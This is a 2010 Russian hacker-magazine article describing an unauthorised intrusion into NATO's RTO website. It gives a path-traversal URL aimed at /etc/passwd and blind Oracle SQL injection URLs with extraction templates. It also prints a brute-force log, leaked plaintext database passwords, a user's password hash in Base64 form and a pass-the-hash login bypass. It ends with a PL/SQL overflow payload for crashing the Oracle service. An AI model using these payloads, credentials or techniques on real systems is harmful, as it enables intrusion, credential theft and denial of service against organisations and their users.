Издательский дом ООО "Гейм Лэнд"

ЖУРНАЛ ХАКЕР #139, ИЮЛЬ 2010 г.

Небезопасность НАТО: как НАТО борется с хакерами

В моем материале ты можешь увидеть, как трудно, оказывается, сделать правильную систему веб-аутентификации. Особенно если это касается большого корпоративного портала. И тем более, если он отвечает за безопасность целой страны, да притом не одной.

В нашем журнале появилась очень хорошая практика – стали публиковаться аудиторы информационной безопасности. Очевидно, что актуальность темы аудита возросла многократно. Наш постоянный читатель, конечно, понимает почему. Достаточно просмотреть архивную подшивку журнала за прошедшее время и можно смело утверждать, что с помощью технологий и программ, о которых писали в этих "Хакерах", можно успешно воевать (и не только на коммерческом рынке).

Кстати, про корпоративную безопасность. Многие уже давно говорят о том, что атаки таких классов как SQL-инъекция, использование XSS, LFI/RFI или ошибок в аутентификации, изживают свой век и более не актуальны. Многие специалисты приводят в своих презентациях всевозможные графики, на которых отображены все время уменьшающиеся "столбики" с процентами обнаруживаемых уязвимостей подобного рода.

Практика показывает, что доверять таким цифрам нельзя, потому что, как правило, в качестве исходных данных для красивых графиков используются результаты автоматического сканирования веб-ресурсов не менее автоматическими сканерами. Конечно, современные автоматические сканеры (подобные Acunetix, nikto, w3af и sqlmap) уже стали похожи на искусственный интеллект – они не умеют разве что только заваривать кофе и оказывать эскорт-услуги. Но, к сожалению, они неспособны распознать и вскрыть правду о сложных логических ошибках аутентификации, скрытых дефектах генерации выходных данных, а зачастую и обработки входных данных. Надо ли говорить о простых уязвимостях, которые сами по себе не представляют опасности, но, будучи связаны между собой, могут дать новый вектор атаки для злоумышленника?

И вот вам, пожалуйста.

Решительное НАТО

Как известно, Организация Североатлантического договора, известная также под аббревиатурой НАТО, является военно-политическим блоком, созданным давным-давно для противодействия возможным военным действиям, направленным против стран Европы и Америки. Россия (тогда еще Советский Союз) в этот блок не вошла, потому что изначально предполагалось, что и она тоже может эти самые агрессивные военные действия осуществлять.

В структуре НАТО существуют всякого рода организации, которые отвечают за разработки в области безопасности – начиная от военной, научно-технической и заканчивая информационной. И дальше речь пойдет про информационную безопасность, а конкретнее – про научный институт Research & Technology Organisation (RTO), созданный в рамках НАТО.

В нашем журнале уже писали об уязвимостях военных сайтов наших "союзников". Как-то раз герои информационной войны крепко подметили, что у "сетецентрических воинов" безопасность есть, информация есть, а вот безопасность информации – увы, не на высоте. Ну что ж, опровергнем или подтвердим?

Первый осмотр

Научно-исследовательская организация НАТО – предприятие не из маленьких. Под стать финансовому размаху и веб-сайт, который со временем из простой интернет-витрины вырос в целый портал, в дебрях которого теперь хранят даже Военную Тайну. Вот, например, для того, чтобы получить секретные доклады, участникам не менее секретных военных симпозиумов выдают логины и пароли для доступа к файловому серверу и веб-сайту RTO.NATO.INT. Все бы хорошо, вот только участники подкачали – живут они в разных странах и, в основном, за тридевять земель, а посему было велено разместить все это добро на выделенных серверах с подключением к сети Интернет. Здесь сказочке конец, а дальше – начало процесса независимого аудита применяемых решений по защите Военной Тайны подследственной организации.

Посмотрим для начала на такую мелочь, как файл robots.txt:

User-agent: * Disallow: /images/ Disallow: /img/ Disallow: /homepix/ Disallow: /rndimg/ Disallow: /Include/ Disallow: /hpix/ Disallow: /Mailer/ Disallow: /InfoPack/ Disallow: /aspx/ Disallow: /bin/ Disallow: /cgi-bin/ Disallow: /ContactUs.aspx Disallow: /Copyright.htm Disallow: /css/ Disallow: /Detail.asp Disallow: /enrolments/ Disallow: /FAQ.htm Disallow: /foad.htm Disallow: /fr/ Disallow: /help.htm Disallow: /pfp.ppt ... Disallow: /Prog/ Disallow: /Reports.asp Disallow: /SendAbstractDetails.aspx Disallow: /tor.asp Disallow: /Taxo/ Disallow: /Variables.asp Disallow: /variables.asp Disallow: /voc.htm Disallow: /vpn.html Disallow: /Webmail.asp Disallow: /yourws.asp Sitemap: http://www.rto.nato.int/sitemap.xml

Написанный явно не в 2010 году, этот путеводитель в мир конфиденциальной информации RTO содержит в себе даже указание на конкретный файл, который можно скачать и посмотреть (pfp.ppt). Надо ли говорить о необходимости использования nikto для сканирования типовых каталогов, если они уже весьма "удачно" перечислены администратором веб-сайта? Ради спортивного интереса, мы все же запустим nikto и проверим, кто выиграл:

--------------------------------------------------------------------------- + Target IP: 62.23.200.67 + Target Hostname: www.rto.nato.int + Target Port: 80 + Start Time: 2010-05-08 14:00:15 --------------------------------------------------------------------------- + Server: RTA Web Server - /robots.txt - contains 47 'disallow' entries which should be manually viewed. (GET) - Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD + OSVDB-877: HTTP method ('Allow' Header): 'TRACE' is typically only used for debugging and should be disabled. This message does not mean it is vulnerable to XST. - Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST + OSVDB-877: HTTP method ('Public' Header): 'TRACE' is typically only used for debugging and should be disabled. This message does not mean it is vulnerable to XST. + OSVDB-0: ETag header found on server, fields: 0x7036cddda14ca1:18b2 + OSVDB-3092: GET /sitemap.xml : This gives a nice listing of the site content. + 3577 items checked: 49 item(s) reported on remote host + End Time: 2010-05-08 14:49:54 (2979 seconds) --------------------------------------------------------------------------- + 1 host(s) tested Test Options: -Cgidirs all -vhost www.rto.nato.int -host www.rto.nato.int www.rto.nato.int

Выиграл все-таки администратор сайта (еще бы, он точно знает про сайт больше, чем nikto :)), выразим ему благодарность за отличный справочник по скрытым страницам. Так, например, запись webmail.asp дает нам доступ к внутренней почтовой системе, а запись Detail.asp без всяких сканеров подсказывает нам проверить уязвимости ввода в соответствующем сценарии веб-сервера.

Параллельно ползая по сайту и проверяя все "disallow" записи в robots.txt, подключим webscarab. В его журналах после хождения по "сайтам" часто встречаются неожиданные "вкусности", о которые можно почесать зубы sqlmap'у и w3af'у. Только заговорили об этом и тут же – хлоп, центральный скрипт, который принимает занимательный параметр "topics". Очень интересным он оказывается, если подставить в качестве топика этот же самый скрипт:

http://www.rto.nato.int/Main.asp?topic=Main.asp

При этом, если файл имеет расширение .ASP, то он интерпретируется (например, если мы подставим "Main.asp" в качестве параметра topic, то веб-сервер уйдет в бесконечный цикл, демонстрируя нам зазеркалье – бесконечные вложения Main.asp в самого себя, а если мы укажем только что найденный "pfp.ppt", то получим его бинарное содержимое).

Еще одна мелочь... в нашу свинскую копилку. Тебе, дорогой наш читатель, мы оставляем возможность попробовать комбинации следующего вида:

http://www.rto.nato.int/Main.asp?topic=../../../../../../../../../../../etc/passwd

Oracle всемогущий, Oracle непобедимый

Уже очень долго существует миф о том, что веб-приложения, построенные с бек-эндом в виде СУБД Oracle, неуязвимы к таким атакам как SQL-инъекции и XSS. Миф о невозможности инъекции в Oracle появился из-за функции базы данных использовать метку-заполнитель – при подготовке запроса оператор указывает места (именуя или нумеруя их), где будут впоследствии размещены входные данные SQL-запроса. Но на то он и миф, чтобы его кто-нибудь разрушил (правильное понимание причин появление уязвимости – вот залог возможности разрушения стереотипов). Проблемы с возможностью возникновения SQL-инъекции на самом деле заложены не столько в базе данных, сколько в программе-оболочке, которая реализует взаимодействие с пользователем. Для проверки достаточно ведь использовать несколько простых приемов. Например, добавлять к параметрам строку вида "+or+chr(77)=chr(77)". Использование функции chr() позволяет избежать указания одинарных кавычек, которые нещадно фильтруются.

Именно это является причиной возникновения возможности проведения "слепой" инъекции на сайте RTO. Вот, например, запрос с такой инъекцией:

метод "научного тыка":

http://www.rto.nato.int/Detail.asp?ID=-1+or+chr(77)=chr(77)

работаем с СУБД Oracle:

http://www.rto.nato.int/Detail.asp?ID=-1+or+1=(SELECT+1+FROM+DUAL)

Собственно, с помощью этой уязвимости мы и узнали, что сзади (backend) установлена СУБД Oracle, а не MySQL или SQLite (кстати, в ней тоже возможно провести SQL-инъекцию – журнал писал об этом в майском номере). Видимо, НАТОвские программисты слишком положились на безопасность Oracle и забыли элементарные правила безопасного секса. А зря! Одна только книжка про оракловский аудит от Ильи Медведовского и его сотрудников чего только стоит.

Слепая инъекция, конечно, потребовала от нас некоторых усилий по автоматизации процесса. Благо, бабушкина подшивка журнала Хакер за прошлый год помогла – в ней оказалось все, что нужно для создания скриптов на Perl. Мы даже смогли быстро составить два запроса – один определяет длины строки, которую мы хотим "вытащить" из базы данных, а второй вытаскивает один символ из этой строки:

а) запрос для получения длины строки:

http://www.rto.nato.int/Detail.asp?ID=-1+OR+(select+length(table_name)+ from+user_tables+where+'%ЗДЕСЬ УСЛОВИЕ ЗАПРОСА%'+AND+rownum=1)=%ЗДЕСЬ ДЛИНА, КОТОРУЮ ПРОВЕРЯЕМ%

б) запрос для получения строки (здесь конкретно – имени столбца в указанной таблице):

http://www.rto.nato.int/Detail.asp?ID=-1+OR+(select+substr(column_name,%ЗДЕСЬ ПОЗИЦИЯ СИМВОЛА В ИМЕНИ СТОЛБЦА%,1)+from+all_tab_columns+where+table_name='.%ЗДЕСЬ ИМЯ ТАБЛИЦЫ%.'+AND+'%ЗДЕСЬ УСЛОВИЕ ЗАПРОСА%'+AND+rownum=1)=chr(%НОМЕР СИМВОЛА%)

Для того, чтобы получить только первую строку с данными из всего запроса, мы воспользовались ключевым словом rownum диалекта SQL-базы данных Oracle, с помощью которого можно определять условие над уже собранным набором строк с выходными данными. Использование всевозможных технологий ускорения "слепого" перебора оставляем для тренировки :). Есть, правда, один очень большой минус – это количество таблиц (в том числе служебных) в базах Oracle. Вслепую вытаскивать всю схему таблиц – титанический труд, поэтому мы интересовались только таблицами, в названии которых есть магическое слово "PASSWORD". На рисунке приведена схема c наиболее интересными таблицами и столбцами. На диске к журналу ты найдешь скрипты, которыми можно пополнить эту схему :).

Среди довольно большого набора таблиц наиболее интересными кажутся вот эти:

RTO_MEMBERS.MEMBER_PASSWORD RTO_PANEL.PANEL_PASSWORD USER_DB_LINKS.PASSWORD CONTACTLOGIN.CLO_PASSWORD APPLICATIONLOGIN.PASSWORD CONTACT.CLO_PASSWORD

Значения данных, которые в них хранятся, впечатляют не меньше, чем операция "Анаконда" коалиционных войск в Афганистане.

USERNAME: RTAMASTER PASSWORD: droopy DB_LINK: TEST.RTA.INT USERNAME: WISE PASSWORD: BUGSBUNNY DB_LINK: WISE_LINK

Впрочем, хранить пароли в открытом виде свойственно многим большим умам. Кроме того, нас больше интересуют пароли, которые можно использовать для входа в закрытую часть сайта. Используем древнегреческое знание о двоичном поиске и запустим наш скрипт слепого перебора:

DB Scanning table rto_panel ..........[DBG: FOUND NUMBER 29.] DB NUMBER OF ROWS FOUND: 29 Getting row 1 DB getting panel_webname .......[DBG: FOUND NUMBER 1.] .........[DBG: FOUND SYMBOL ' ' - 32] DB DB getting panel_password .......[DBG: FOUND NUMBER 16.] ........[DBG: FOUND SYMBOL 'х' - 245] ........[DBG: FOUND SYMBOL 'ї' - 191] . . . .........[DBG: FOUND SYMBOL '$' - 36] .........[DBG: FOUND SYMBOL 'Ё' - 168] DB хїЙ)z <Ж!Д*Аt¤$Ё DB 245|191|201|41|122|24|60|198|33|196|42|192|116|164|36|168| DB getting panel_number .......[DBG: FOUND NUMBER 7.] .........[DBG: FOUND SYMBOL 'R' - 82] . . . ........[DBG: FOUND SYMBOL 'A' - 65] DB RTA-CSA DB getting panel_alias .......[DBG: FOUND NUMBER 7.] . . . ........[DBG: FOUND SYMBOL 'A' - 65] DB RTA-CSA

Важными столбцами из листинга для нас являются "panel_webname" и "panel_password", последний хранит MD5 хэши паролей. Получаем все хэши и ставим их на брут. Как правило, на этом заканчиваются все стандартные взломы, но мы пойдем дальше.

Проверка на дорогах

Доступ к закрытым зонам веб-сайта можно получить, если авторизоваться паролем любого участника или сотрудника RTO. Для аутентификации была использована технология "SINGLE SIGN-ON", которая позволяет использовать любые другие пароли от аналогичных хранилищ информации:

Please authenticate to access website protected areas and the RTO collaborative environment. Use your RTO collaborative environment credentials or the RTO generic credentials to log on.

Понятие "единого входа", о котором талдычат НАТОвские программеры, изначально предполагает, что в разных местах пользователь может использовать один выданный ему логин/пароль. Здесь же это понятие сводится к тому, что в одном месте (на сайте) можно использовать пароли от нескольких других мест. Таким образом, общая безопасность находится на уровне самого слабого сайта, пароли от которого могут быть введены в RTO.NATO.INT.

Раз уж пароли используют чуть ли не из мусорного бака, не стоит ли нам повнимательнее посмотреть, как они передаются на сервер? Тут начинается самое интересное. Оказывается, поля пользовательского ввода логина и пароля перед отправкой обрабатываются с помощью JavaScript-функции. Для того, чтобы это чудо инженерной мысли случилось, к основному HTML подключен файл md5.js, который представляет собой ничто иное как реализацию алгоритма MD5 компанией RSA Data Security (они, кстати, являются основными защитниками информации для НАТОвских ресурсов). В конце этого файла есть замечательная функция "pw2md5(in_pw, out_md5)", которая и вызывается при отправке логина и пароля обратно на сайт:

<form action="checkident.asp" method="post" name="frmlogon" onSubmit="return sendData();"> . . . . . . function sendData() { var FORM = document.frmlogon; pw2md5(FORM.MemberMatkhau,FORM.MemberMatkhau); return true; }

Теперь посмотрим на саму функцию pw2md5(). Она принимает на вход пароль в чистом виде, вычисляет MD5 от него, конвертирует полученное бинарное 16-байтовое значение в BASE64 представление и записывает в выходной параметр.

md5.js: /* * A JavaScript implementation of the RSA Data Security, Inc. MD5 Message * Digest Algorithm, as defined in RFC 1321. * Version 2.1 Copyright (C) Paul Johnston 1999 - 2002. * Other contributors: Greg Holt, Andrew Kepert, Ydnar, Lostinet * Distributed under the BSD License * See http://pajhome.org.uk/crypt/md5 for more info. */ . . . . . . /* * Util method added by minhnn */ function pw2md5(password, md5password) { md5password.value = b64_md5(password.value) + "=="; // password.value = ""; }

Такой изумительный карточный расклад означает, что нам НЕ НУЖНО взламывать хэши MD5! Вместо этого мы можем просто подставить значение из базы данных прямо в форму отправки! Для этого воспользуемся онлайн-трансформером BASE64, предварительно сделав бинарный файл с байтами MD5 хэша одного из пользователей.

Используя motobit.com, получаем следующие данные:

USERNAME: IST PASSWORD: AD2F38AEE7B3162D832624DA76983CD2 BASE64: rS84ruezFi2DJiTadpg80g==

Дальше нам очень пригодится веб-браузер Mozilla Firefox и его компонент TamperData, чтобы подставить налету в POST-запрос вместо обычных MD5 свои, честно подсмотренные в базе данных. Это довольно тривиальный процесс, посмотреть на примеры можно в документации на компонент TamperData... Подставляем, проверяем, давим кнопку "Послать"... и, как говорится в анекдоте, "детей не люблю, но... сам процесс!". Итак, мы внутри!

Солдат, выйти из строя!

Все бы ничего, если бы нас не жгла мысль о том, что слепой SQL – это ничто иное, как консоль к базе данных. Ведь с СУБД Oracle можно творить такое, что никакому SQLite и MySQL и не снилось (здесь мы улыбаемся и машем Александру Полякову, автору книги "Безопасность Oracle глазами аудитора", а также iDefense Labs, – не знаю, кто был первый в обнаружении этой уязвимости). Наш уважаемый коллега описывает, как можно использовать доступ к процедуре XDB.XDB_PITRIG_PKG.PITRIG_DROPMETADATA, доступной на выполнение любому пользователю базы данных. Используя эту уязвимость в 10g можно вызвать переполнение буфера, и служба Oracle аварийно завершит свою работу. Так что, как только нам надоест баловаться с доступом к закрытым секциям сайта, мы делаем следующее:

declare a varchar2(32767); b varchar2(32767); begin a:='XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'; b:='YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY'; a:=a||a; a:=a||a; a:=a||a; a:=a||a; a:=a||a; a:=a||a; b:=b||b; b:=b||b; b:=b||b; b:=b||b; b:=b||b; b:=b||b; XDB.XDB_PITRIG_PKG.PITRIG_DROPMETADATA(a, b); end;

После того, как мы запишем этот вызов в одну длинную строку запроса и вставим на место нашей слепой инъекции, мы сможем увидеть вот такую картинку.

Конец света

Разговоры про сетецентрические войны и ведение информационной войны – это, конечно, хорошо. Однако опыт показывает, что просто разговоров мало – уж если мы анализируем сайты наших НАТОвских "союзников", то и они, наверное, от нас не отстают. На этом фоне очень огорчает наличие аналогичных проблем с безопасностью на наших отечественных государственных сайтах. Вот, например, на сайте Федеральной службы технического и экспортного контроля (которая со следующего года будет защищать наши персональные данные), присутствуют все те же "мелкие" проблемы.

Да чего уж, если порно-ролики на дорожных биллбордах Садового кольца хакеры крутят :). Но, все-таки, хотя бы законодатели в области информационной безопасности должны относиться к своим ресурсам ответственно. Иначе на кого же мы будем равняться?

Содержание